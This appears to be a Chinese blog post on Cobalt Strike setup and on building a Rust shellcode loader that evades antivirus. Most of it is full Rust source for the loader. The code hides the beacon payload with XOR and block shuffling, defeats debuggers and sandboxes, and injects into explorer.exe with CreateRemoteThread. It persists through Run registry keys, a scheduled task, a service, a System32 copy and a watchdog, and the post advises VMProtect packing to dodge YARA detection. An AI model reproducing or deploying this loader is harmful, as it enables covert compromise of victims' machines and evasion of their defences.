CobalStrike使用以及RUST免杀

CobalStrike的安装与使用

一、安装

可以直接从官网下载,不过可能要一点点手段。不多说
CS需要同时安装服务端和客户端,需要jdk环境,最好是jdk11,Kali不需要额外配置jdk环境。但是这里我们还是以Debian为例
首先安装jdk,由于jdk11比较老了,我们可以使用命令来查看可以安装的版本

apt list openjdk*

然后选择安装即可但是如果没有jdk11的话,其实21也是可以的。

apt install openjdk-21-jdk

然后我们启动teamserver文件

./teamserver <IP> 123456

启动成功后就会显示地址加端口

image.png

然后我们直接连接就可以了,客户端我们使用IP连接,用户随便输一个就行,端口就是默认端口,不需要修改
image.png

像这样就连接成功了
image.png

二、简单使用

1.监听

我们直接点击主菜单,然后点击监听器,添加一个即可

image.png

名字随便起,我们只需要修改一下被控段的端口即可,80可能太过明显,我们选用不常用端口,其他默认即可
image.png

创建监听器后我们就可以生成shellcode了,我们选择直接生成二进制的shellcode,方便后续嵌入到我们的程序中,选择Windows可执行程序(Stageless),选好监听器
image.png

三、程序设计

1、程序组成

导入模块部分

#![windows_subsystem = "windows"]

  

mod payload;

  

use std::ptr;

use std::mem;

use rand::Rng;

use sysinfo::{PidExt, ProcessExt, SystemExt};

use windows_sys::Win32::{

    System::{

        Memory::*,

        Threading::*,

        Diagnostics::Debug::*,

        Registry::*,

    },

    Foundation::*,

    Security::SECURITY_ATTRIBUTES,

};

加密shellcode模块

// ==================== 加密模块 ====================

  

pub struct StrongEncryptor {

    // 没存原始密钥,只保留打乱顺序与派生参数

    tbl:  [u8; 32],   // 32 字节派生表,运行时计算

}

  

impl StrongEncryptor {

    /// 新建实例,每次 seed 随机 => 密钥流不同

    pub fn new() -> Self {

        let seed = rand::thread_rng().r#gen::<u64>();

        let mut tbl = [0u8; 32];

        Self::derive_table(seed, &mut tbl);

        Self { tbl }

    }

  

    pub fn simple_encrypt(&self, data: &[u8]) -> String {

        let buf = self.shuffle_encrypt(data);

        // 额外再套一层 base64 方便文本化

        base64::Engine::encode(

            &base64::engine::general_purpose::STANDARD,

            &buf,

        )

    }

  

    pub fn simple_decrypt(&self, enc: &str) -> Vec<u8> {

        let buf = base64::Engine::decode(

            &base64::engine::general_purpose::STANDARD,

            enc,

        )

            .expect("base64 解码失败");

        self.shuffle_decrypt(&buf)

    }

  

    /* ---------- 内部实现 ---------- */

    /// 编译期常量:原始密钥碎片(无连续内存)

    const FN_KEY: fn(usize) -> u8 = |i| {

        // 任意编译期可算表达式

        (i.wrapping_mul(0x9E).wrapping_add(0x37) & 0xFF) as u8

    };

  

    /// 派生表:把编译期 key 再过一遍 PRNG 扩散

    fn derive_table(seed: u64, out: &mut [u8; 32]) {

        let mut s = seed;

        for (i, b) in out.iter_mut().enumerate() {

            *b = Self::FN_KEY(i).wrapping_add((s & 0xFF) as u8);

            s = s.wrapping_mul(0x5851_F42D_4C95_7F2D);

        }

    }

  

    /// 分段大小

    const BLK: usize = 64;

  

    /// 编译期随机置换表(这里用固定一个,可自行改成 `const_fn` 生成)

    const PERM: [usize; 8] = [3, 6, 0, 5, 2, 7, 1, 4]; // 8 块示例,最大 512 B

  

    /* ---------- 加密流程:先逐块 XOR,再打乱块顺序 ---------- */

    fn shuffle_encrypt(&self, data: &[u8]) -> Vec<u8> {

        let n = data.len();

        let mut out = vec![0u8; n];

        let chunks = (n + Self::BLK - 1) / Self::BLK;

  

        // 1. 逐块 XOR(密钥循环)

        for (i, blk) in data.chunks(Self::BLK).enumerate() {

            let key = self.tbl[i % 32];

            for (j, &byte) in blk.iter().enumerate() {

                out[i * Self::BLK + j] = byte ^ key;

            }

        }

  

        // 2. 块顺序打乱(原地)

        if chunks > 1 {

            let mut tmp = vec![0u8; Self::BLK];

            for i in 0..chunks {

                let src = Self::PERM[i % Self::PERM.len()];

                if src >= chunks { continue; }

                let dst = i;

                // 交换块

                let (s1, s2) = unsafe {

                    let ptr = out.as_mut_ptr();

                    (

                        std::slice::from_raw_parts_mut(ptr.add(src * Self::BLK), Self::BLK),

                        std::slice::from_raw_parts_mut(ptr.add(dst * Self::BLK), Self::BLK),

                    )

                };

                tmp.copy_from_slice(s1);

                s1.copy_from_slice(s2);

                s2.copy_from_slice(&tmp);

            }

        }

        out

    }

  

    /// 解密:逆运算

    fn shuffle_decrypt(&self, buf: &[u8]) -> Vec<u8> {

        let n = buf.len();

        let mut out = buf.to_vec();

        let chunks = (n + Self::BLK - 1) / Self::BLK;

  

        // 1. 先逆置换

        if chunks > 1 {

            let mut tmp = vec![0u8; Self::BLK];

            for i in (0..chunks).rev() {

                let src = Self::PERM[i % Self::PERM.len()];

                if src >= chunks { continue; }

                let dst = i;

                let (s1, s2) = unsafe {

                    let ptr = out.as_mut_ptr();

                    (

                        std::slice::from_raw_parts_mut(ptr.add(src * Self::BLK), Self::BLK),

                        std::slice::from_raw_parts_mut(ptr.add(dst * Self::BLK), Self::BLK),

                    )

                };

                tmp.copy_from_slice(s1);

                s1.copy_from_slice(s2);

                s2.copy_from_slice(&tmp);

            }

        }

  

        // 2. 再 XOR 回来

        for (i, blk) in out.chunks_mut(Self::BLK).enumerate() {

            let key = self.tbl[i % 32];

            for byte in blk.iter_mut() {

                *byte ^= key;

            }

        }

        out

    }

}

反调试模块

这个模块的主要思路并不是说检测到调试器就打断之类的,而是在检测到调试器后,给程序加上随机延迟,但同时也模仿在正常运行,这样就可以让调试者认为这个程序似乎没有反调试,但是调试器什么都调不出来

// ==================== 反调试模块 ====================

struct AntiDebug {

    start_time: std::time::Instant,

}

  

impl AntiDebug {

    fn new() -> Self {

        Self {

            start_time: std::time::Instant::now(),

        }

    }

  

    fn check_debugger(&self) -> bool {

        unsafe {

            if IsDebuggerPresent() != 0 {

                return true;

            }

  

            let mut remote_debug = 0;

            if CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut remote_debug) != 0 && remote_debug != 0 {

                return true;

            }

  

            let elapsed = self.start_time.elapsed();

            if elapsed.as_millis() > 1000 {

                return true;

            }

  

            false

        }

    }

  

    fn intelligent_delay(&self) {

        use std::thread;

        use std::time::Duration;

  

        let mut rng = rand::thread_rng();

        for _ in 1..=2 {

            let delay_ms = rng.gen_range(1000..3000);

            self.simulate_normal_behavior();

            thread::sleep(Duration::from_millis(delay_ms));

        }

    }

  

    fn simulate_normal_behavior(&self) {

        let _data: Vec<u32> = (0..100).collect();

        let _string = "normal_behavior_simulation".to_string();

    }

}

反沙箱模块

这个模块作用就不多说了,但是不知道为什么,好像不能成功运行,反沙箱无非就几块,检查内存大小,磁盘容量还有CPU核数,以及一些虚拟机特有的进程例如vm_tools等,现在好像无论怎么运行都会返回真导致程序退出,所以下面主函数中也把这个退出逻辑注释了

// ==================== 反沙箱检测 ====================

struct AntiSandbox {

    start_time: std::time::Instant,

}

  

impl AntiSandbox {

    fn new() -> Self {

        Self {

            start_time: std::time::Instant::now(),

        }

    }

  

    fn check_sandbox(&self) -> bool {

        use sysinfo::SystemExt;

  

        let elapsed = self.start_time.elapsed();

        if elapsed.as_secs() < 2 {

            return true;

        }

  

        let system = sysinfo::System::new_all();

        let total_memory = system.total_memory();

        if total_memory < 2 * 1024 * 1024 * 1024 {

            return true;

        }

  

        let cpu_cores = num_cpus::get();

        if cpu_cores < 2 {

            return true;

        }

  

        if self.detect_sandbox_processes(&system) {

            return true;

        }

  

        false

    }

  

    fn detect_sandbox_processes(&self, system: &sysinfo::System) -> bool {

        use sysinfo::SystemExt;

  

        let sandbox_processes = [

            "vmsrvc", "vmusrvc", "vboxtray", "vmtoolsd",

            "procmon", "processhacker","wireshark"

        ];

  

        for process in system.processes().values() {

            let name = process.name().to_lowercase();

            for sandbox_proc in &sandbox_processes {

                if name.contains(sandbox_proc) {

                    return true;

                }

            }

        }

  

        false

    }

}

进程注入模块

将代码注入到系统自带的应用中,这样可以使恶意代码没有单独的进程,更难关掉

// ==================== 内存管理器 ====================

struct AdvancedMemoryManager {

    process_handle: HANDLE,

    heap_handle: HANDLE,

}

  

impl AdvancedMemoryManager {

    fn new(process_id: u32) -> Result<Self, &'static str> {

        unsafe {

            let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

            if process_handle == 0 {

                return Err("无法打开目标进程");

            }

  

            let heap_handle = GetProcessHeap();

            if heap_handle == 0 {

                CloseHandle(process_handle);

                return Err("无法获取进程堆");

            }

  

            Ok(Self {

                process_handle,

                heap_handle,

            })

        }

    }

  

    fn allocate_multiple(&self, shellcode: &[u8]) -> Result<(*mut std::ffi::c_void, *mut std::ffi::c_void), &'static str> {

        unsafe {

            let virtual_mem = VirtualAllocEx(

                self.process_handle,

                ptr::null(),

                shellcode.len(),

                MEM_COMMIT | MEM_RESERVE,

                PAGE_READWRITE,

            );

  

            if virtual_mem.is_null() {

                return Err("VirtualAllocEx失败");

            }

  

            let heap_mem = HeapAlloc(self.heap_handle, 0, shellcode.len());

  

            if heap_mem.is_null() {

                VirtualFreeEx(self.process_handle, virtual_mem, 0, MEM_RELEASE);

                return Err("HeapAlloc失败");

            }

  

            Ok((virtual_mem, heap_mem))

        }

    }

  

    fn dynamic_protection(&self, address: *mut std::ffi::c_void, size: usize) -> Result<(), &'static str> {

        unsafe {

            let mut old_protect = 0;

  

            let mut success = VirtualProtectEx(

                self.process_handle,

                address,

                size,

                PAGE_READWRITE,

                &mut old_protect,

            );

  

            if success == 0 {

                return Err("第一次内存保护修改失败");

            }

  

            std::thread::sleep(std::time::Duration::from_millis(10));

  

            success = VirtualProtectEx(

                self.process_handle,

                address,

                size,

                PAGE_EXECUTE_READ,

                &mut old_protect,

            );

  

            if success == 0 {

                Err("最终内存保护修改失败")

            } else {

                Ok(())

            }

        }

    }

  

    fn cleanup(&self, virtual_mem: *mut std::ffi::c_void, heap_mem: *mut std::ffi::c_void) {

        unsafe {

            if !virtual_mem.is_null() {

                VirtualFreeEx(self.process_handle, virtual_mem, 0, MEM_RELEASE);

            }

            if !heap_mem.is_null() {

                HeapFree(self.heap_handle, 0, heap_mem);

            }

            CloseHandle(self.process_handle);

        }

    }

}

  

// 辅助函数

fn write_to_memory(mem_manager: &AdvancedMemoryManager, shellcode: &[u8], destination: *mut std::ffi::c_void) -> Result<(), &'static str> {

    unsafe {

        let mut bytes_written = 0;

        let success = WriteProcessMemory(

            mem_manager.process_handle,

            destination,

            shellcode.as_ptr() as _,

            shellcode.len(),

            &mut bytes_written,

        );

  

        if success == 0 || bytes_written != shellcode.len() {

            Err("WriteProcessMemory失败")

        } else {

            Ok(())

        }

    }

}

  

fn execute_shellcode(mem_manager: &AdvancedMemoryManager, shellcode_ptr: *mut std::ffi::c_void) -> Result<(), &'static str> {

    unsafe {

        type ThreadStartRoutine = unsafe extern "system" fn(*mut std::ffi::c_void) -> u32;

  

        #[link(name = "kernel32")]

        unsafe extern "system" {

            fn CreateRemoteThread(

                hProcess: HANDLE,

                lpThreadAttributes: *const SECURITY_ATTRIBUTES,

                dwStackSize: usize,

                lpStartAddress: Option<ThreadStartRoutine>,

                lpParameter: *mut std::ffi::c_void,

                dwCreationFlags: u32,

                lpThreadId: *mut u32,

            ) -> HANDLE;

        }

  

        let thread_handle = CreateRemoteThread(

            mem_manager.process_handle,

            ptr::null(),

            0,

            Some(mem::transmute(shellcode_ptr)),

            ptr::null_mut(),

            0,

            ptr::null_mut(),

        );

  

        if thread_handle == 0 {

            return Err("CreateRemoteThread失败");

        }

  

        WaitForSingleObject(thread_handle, 5000);

        CloseHandle(thread_handle);

  

        Ok(())

    }

}

  

fn get_explorer_pid() -> u32 {

    use sysinfo::{System, SystemExt};

  

    let system = System::new_all();

    for process in system.processes_by_name("explorer") {

        let pid = process.pid().as_u32();

        return pid;

    }

  

    panic!("未找到explorer.exe进程");

}

持久化模块

这个主要是用来设置自启动,以及保护进程,但是好像还不太完善

// ==================== 持久化模块 ====================

struct PersistenceManager {

    app_name: String,

    app_path: String,

}

  

impl PersistenceManager {

    fn new() -> Self {

        let app_path = std::env::current_exe()

            .expect("无法获取当前程序路径")

            .to_string_lossy()

            .to_string();

        let app_name = std::path::Path::new(&app_path)

            .file_stem()

            .expect("无法获取程序名")

            .to_string_lossy()

            .to_string();

  

        Self {

            app_name,

            app_path,

        }

    }

  
  

    /// 创建计划任务

    fn create_scheduled_task(&self) -> Result<(), &'static str> {

        use std::process::Command;

  

        let task_name = &self.app_name;

        let command = format!("schtasks /create /tn \"{}\" /tr \"{}\" /sc onlogon /rl highest /f", task_name, self.app_path);

        let output = Command::new("cmd")

            .args(["/C", &command])

            .output();

  

        match output {

            Ok(output) if output.status.success() => Ok(()),

            _ => Err("创建计划任务失败"),

        }

    }

  

    /// 进程守护 - 监控并重启自身

    fn start_process_guardian(&self) {

        use std::process::Command;

        use std::thread;

        use std::time::Duration;

  

        let app_path = self.app_path.clone();

        let app_name = self.app_name.clone();

  

        thread::spawn(move || {

            loop {

                thread::sleep(Duration::from_secs(30));

                // 检查自身进程是否在运行

                let system = sysinfo::System::new_all();

                let mut found = false;

                for process in system.processes_by_name(&app_name) {

                    if process.exe().to_string_lossy().to_lowercase() == app_path.to_lowercase() {

                        found = true;

                        break;

                    }

                }

  

                // 如果进程不存在,重新启动

                if !found {

                    let _ = Command::new(&app_path).spawn();

                }

            }

        });

    }

  

    /// 安装为Windows服务

    fn install_as_service(&self) -> Result<(), &'static str> {

        use std::process::Command;

  

        let service_name = &self.app_name;

        let display_name = format!("{} Service", self.app_name);

        let command = format!(

            "sc create \"{}\" binPath= \"{}\" DisplayName= \"{}\" start= auto",

            service_name, self.app_path, display_name

        );

  

        let output = Command::new("cmd")

            .args(["/C", &command])

            .output();

  

        match output {

            Ok(output) if output.status.success() => {

                // 启动服务

                let start_command = format!("sc start \"{}\"", service_name);

                let _ = Command::new("cmd")

                    .args(["/C", &start_command])

                    .output();

                Ok(())

            },

            _ => Err("安装服务失败"),

        }

    }

  

    /// 隐藏程序窗口

    fn hide_window(&self) {

        // 对于控制台程序,直接返回

        // 如果需要GUI程序隐藏窗口,需要不同的方法

    }

  

    /// 复制到系统目录

    fn copy_to_system_location(&self) -> Result<(), &'static str> {

        let system_path = std::env::var("WINDIR")

            .map(|windir| format!("{}\\System32\\{}", windir, std::path::Path::new(&self.app_path).file_name().unwrap().to_string_lossy()))

            .unwrap_or_else(|_| format!("C:\\Windows\\System32\\{}", std::path::Path::new(&self.app_path).file_name().unwrap().to_string_lossy()));

  

        if self.app_path.to_lowercase() != system_path.to_lowercase() {

            if let Err(_) = std::fs::copy(&self.app_path, &system_path) {

                return Err("复制到系统目录失败");

            }

        }

  

        Ok(())

    }

  

    /// 创建多个注册表项

    fn create_multiple_registry_entries(&self) {

        let registry_locations = [

            (HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run"),

            (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run"),

            (HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"),

        ];

  

        for (hkey, subkey) in &registry_locations {

            let _ = self.add_registry_entry(*hkey, subkey);

        }

    }

  

    /// 通用注册表添加函数

    fn add_registry_entry(&self, hkey: HKEY, subkey: &str) -> Result<(), &'static str> {

        unsafe {

            let key_name = format!("{}\\{}", subkey, self.app_name);

            let key_name_wide: Vec<u16> = key_name.encode_utf16().chain(std::iter::once(0)).collect();

            let value_data_wide: Vec<u16> = self.app_path.encode_utf16().chain(std::iter::once(0)).collect();

  

            let mut hkey_handle: HKEY = 0;

            let result = RegCreateKeyExW(

                hkey,

                key_name_wide.as_ptr(),

                0,

                ptr::null(),

                REG_OPTION_NON_VOLATILE,

                KEY_WRITE,

                ptr::null(),

                &mut hkey_handle,

                ptr::null_mut(),

            );

  

            if result == 0 {

                let result = RegSetValueExW(

                    hkey_handle,

                    ptr::null(),

                    0,

                    REG_SZ,

                    value_data_wide.as_ptr() as *const u8,

                    (value_data_wide.len() * 2) as u32,

                );

  

                RegCloseKey(hkey_handle);

  

                if result != 0 {

                    return Err("设置注册表值失败");

                }

            }

  

            Ok(())

        }

    }

  

    /// 初始化所有持久化机制

    fn initialize_persistence(&self) {

        // 隐藏窗口

        self.hide_window();

  

        // 尝试复制到系统目录

        let _ = self.copy_to_system_location();

  

        // 注册表自启动(多个位置)

        self.create_multiple_registry_entries();

        // 计划任务

        let _ = self.create_scheduled_task();

        // 进程守护

        self.start_process_guardian();

        // 服务安装(需要管理员权限)

        let _ = self.install_as_service();

    }

}

还有附赠的清除脚本,避免把自己电脑搞坏(AI的)

# 持久化清理脚本 - PowerShell版本
# 需要以管理员权限运行
Write-Host "========================================" -ForegroundColor Cyan
Write-Host "          持久化清理脚本" -ForegroundColor Cyan
Write-Host "          PowerShell版本" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
Write-Host ""

$AppName = "hello"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$AppPath = Join-Path $ScriptDir "target\release\$AppName.exe"

# 检查管理员权限
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if (-not $isAdmin) {
    Write-Host "[警告] 需要管理员权限才能完全清理" -ForegroundColor Yellow
    Write-Host "请右键点击此脚本,选择'以管理员身份运行'" -ForegroundColor Yellow
    Write-Host ""
}

# 1. 停止相关进程
Write-Host "[1/7] 停止相关进程..." -ForegroundColor Green
Get-Process -Name $AppName -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "✓ 已停止相关进程" -ForegroundColor Green

Start-Sleep -Seconds 2

# 2. 删除注册表自启动项
Write-Host "[2/7] 删除注册表自启动项..." -ForegroundColor Green

$registryPaths = @(
    @{ Path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"; Name = $AppName },
    @{ Path = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"; Name = $AppName },
    @{ Path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"; Name = $AppName }
)

foreach ($reg in $registryPaths) {
    try {
        Remove-ItemProperty -Path $reg.Path -Name $reg.Name -ErrorAction Stop -Force
        Write-Host "✓ 已删除 $($reg.Path)\$($reg.Name)" -ForegroundColor Green
    } catch {
        Write-Host "- $($reg.Path)\$($reg.Name) 不存在" -ForegroundColor Gray
    }
}

# 3. 删除计划任务
Write-Host "[3/7] 删除计划任务..." -ForegroundColor Green
try {
    $task = Get-ScheduledTask -TaskName $AppName -ErrorAction Stop
    Unregister-ScheduledTask -TaskName $AppName -Confirm:$false
    Write-Host "✓ 已删除计划任务 '$AppName'" -ForegroundColor Green
} catch {
    Write-Host "- 计划任务 '$AppName' 不存在" -ForegroundColor Gray
}

# 4. 停止并删除Windows服务
Write-Host "[4/7] 停止并删除Windows服务..." -ForegroundColor Green
try {
    $service = Get-Service -Name $AppName -ErrorAction Stop
    if ($service.Status -eq 'Running') {
        Stop-Service -Name $AppName -Force
        Write-Host "✓ 已停止服务 '$AppName'" -ForegroundColor Green
    }
    
    # 使用sc命令删除服务(更可靠)
    $process = Start-Process -FilePath "sc" -ArgumentList "delete `"$AppName`"" -Wait -PassThru -NoNewWindow
    if ($process.ExitCode -eq 0) {
        Write-Host "✓ 已删除服务 '$AppName'" -ForegroundColor Green
    } else {
        Write-Host "- 服务 '$AppName' 删除失败" -ForegroundColor Red
    }
} catch {
    Write-Host "- 服务 '$AppName' 不存在" -ForegroundColor Gray
}

# 5. 删除系统目录中的副本
Write-Host "[5/7] 删除系统目录中的副本..." -ForegroundColor Green
$systemPaths = @(
    "$env:WINDIR\System32\$AppName.exe",
    "C:\Windows\System32\$AppName.exe"
)

foreach ($path in $systemPaths) {
    if (Test-Path $path) {
        try {
            Remove-Item -Path $path -Force -ErrorAction Stop
            Write-Host "✓ 已删除系统目录中的 $AppName.exe" -ForegroundColor Green
        } catch {
            Write-Host "✗ 删除系统目录中的文件失败(可能需要管理员权限)" -ForegroundColor Red
        }
    } else {
        Write-Host "- 系统目录中未找到 $AppName.exe" -ForegroundColor Gray
    }
}

# 6. 清理临时文件
Write-Host "[6/7] 清理临时文件..." -ForegroundColor Green
$tempPaths = @(
    "$env:TEMP\$AppName.exe",
    "$env:USERPROFILE\$AppName.exe",
    "$env:APPDATA\$AppName.exe",
    "$env:LOCALAPPDATA\$AppName.exe"
)

foreach ($path in $tempPaths) {
    if (Test-Path $path) {
        Remove-Item -Path $path -Force -ErrorAction SilentlyContinue
        Write-Host "✓ 已删除临时文件: $(Split-Path $path -Leaf)" -ForegroundColor Green
    }
}

# 7. 最终清理检查
Write-Host "[7/7] 最终清理检查..." -ForegroundColor Green

# 再次检查并停止任何残留进程
Get-Process -Name $AppName -ErrorAction SilentlyContinue | Stop-Process -Force

# 检查是否还有相关进程在运行
$remainingProcesses = Get-Process -Name $AppName -ErrorAction SilentlyContinue
if ($remainingProcesses) {
    Write-Host "✗ 警告:仍有 $AppName 进程在运行" -ForegroundColor Red
} else {
    Write-Host "✓ 确认所有 $AppName 进程已停止" -ForegroundColor Green
}

Write-Host ""
Write-Host "========================================" -ForegroundColor Cyan
Write-Host "           清理完成!" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
Write-Host ""
Write-Host "已清理的持久化机制:" -ForegroundColor White
Write-Host "✓ 注册表自启动项" -ForegroundColor Green
Write-Host "✓ Windows计划任务" -ForegroundColor Green
Write-Host "✓ Windows服务" -ForegroundColor Green
Write-Host "✓ 系统目录副本" -ForegroundColor Green
Write-Host "✓ 临时文件" -ForegroundColor Green
Write-Host "✓ 相关进程" -ForegroundColor Green
Write-Host ""
Write-Host "注意:" -ForegroundColor Yellow
Write-Host "1. 如果某些操作显示失败,可能是对应的机制未被安装" -ForegroundColor Yellow
Write-Host "2. 某些操作需要管理员权限" -ForegroundColor Yellow
Write-Host "3. 如果文件/注册表项被其他程序占用,可能需要重启后再次运行" -ForegroundColor Yellow
Write-Host ""

if (-not $isAdmin) {
    Write-Host "建议:以管理员身份重新运行此脚本以确保完全清理" -ForegroundColor Red
}

Write-Host "按任意键退出..." -ForegroundColor Gray
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")

主函数

// ==================== 主函数 ====================

fn main() {

    // 初始化持久化机制

    let persistence_manager = PersistenceManager::new();

    persistence_manager.initialize_persistence();

  

    let anti_debug = AntiDebug::new();

    let anti_sandbox = AntiSandbox::new();

  

    if anti_debug.check_debugger() {

        std::process::exit(1);

    }

    if anti_sandbox.check_sandbox() {

        //std::process::exit(1);

    }

  

    anti_debug.intelligent_delay();

  

    /* ---------- 强化加密模块替换 ---------- */

    let encryptor = StrongEncryptor::new();

    let encrypted_payload = encryptor.simple_encrypt(&payload::PAYLOAD);

    let decrypted_shellcode = encryptor.simple_decrypt(&encrypted_payload);

  

    let process_id = get_explorer_pid();

    let mem_manager = match AdvancedMemoryManager::new(process_id) {

        Ok(m) => m,

        Err(_) => return,

    };

  

    let (virtual_mem, heap_mem) = match mem_manager.allocate_multiple(&decrypted_shellcode) {

        Ok(m) => m,

        Err(_) => return,

    };

  

    if write_to_memory(&mem_manager, &decrypted_shellcode, virtual_mem).is_err() {

        mem_manager.cleanup(virtual_mem, heap_mem);

        return;

    }

  

    if mem_manager.dynamic_protection(virtual_mem, decrypted_shellcode.len()).is_err() {

        mem_manager.cleanup(virtual_mem, heap_mem);

        return;

    }

  

    let _ = execute_shellcode(&mem_manager, virtual_mem);

    mem_manager.cleanup(virtual_mem, heap_mem);

}

2、免杀思路

基础设置完毕,接下来就是怎样制作可以免杀的shellcode加载器了,由于rust编译时有各种优化选项,加上各种混淆,应该可以过大部分免杀那么我们这里就是提供思路
首先在生成bin文件之后,我们直接使用Python脚本将其转换为一个RUST的数组

#!/usr/bin/env python3  
import pathlib  
import textwrap  
  
bin_path = pathlib.Path("payload.bin")  
out_path = pathlib.Path("payload.rs")  
  
data = bin_path.read_bytes()  
  
# 生成 Rust 数组  
rust_code = f"""\  
pub const PAYLOAD: [u8; {len(data)}] = [  
{ textwrap.fill(', '.join(f'0x{b:02x}' for b in data), 80) }  
];  
"""  
  
out_path.write_text(rust_code)  
print(f"✅ 已生成 {out_path},{len(data)} 字节。")

然后我们将生成的payload.rs直接移动到src文件夹下,以便后续程序直接编译调用。
现阶段使用代码依然存在很多问题,我们需要逐步将其解决

免杀第一步:去除ShellCode特征

现在的杀软很多使用yara规则,其实说白了就是使用正则对文件的十六进制,元数据(大小,熵等)进行匹配。我们直接生成的CS马多少会有一些命中这些规则,例如在我还为修改shellcode的时候,使用微步云沙箱,我们可以发现命中了很多的yara规则

image.png

而且yara规则在查杀的威胁中占比非常高
image.png

但是解决好像并不复杂,我们只需要在程序上加一个vmp的壳就可以规避静态检测
image.png

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇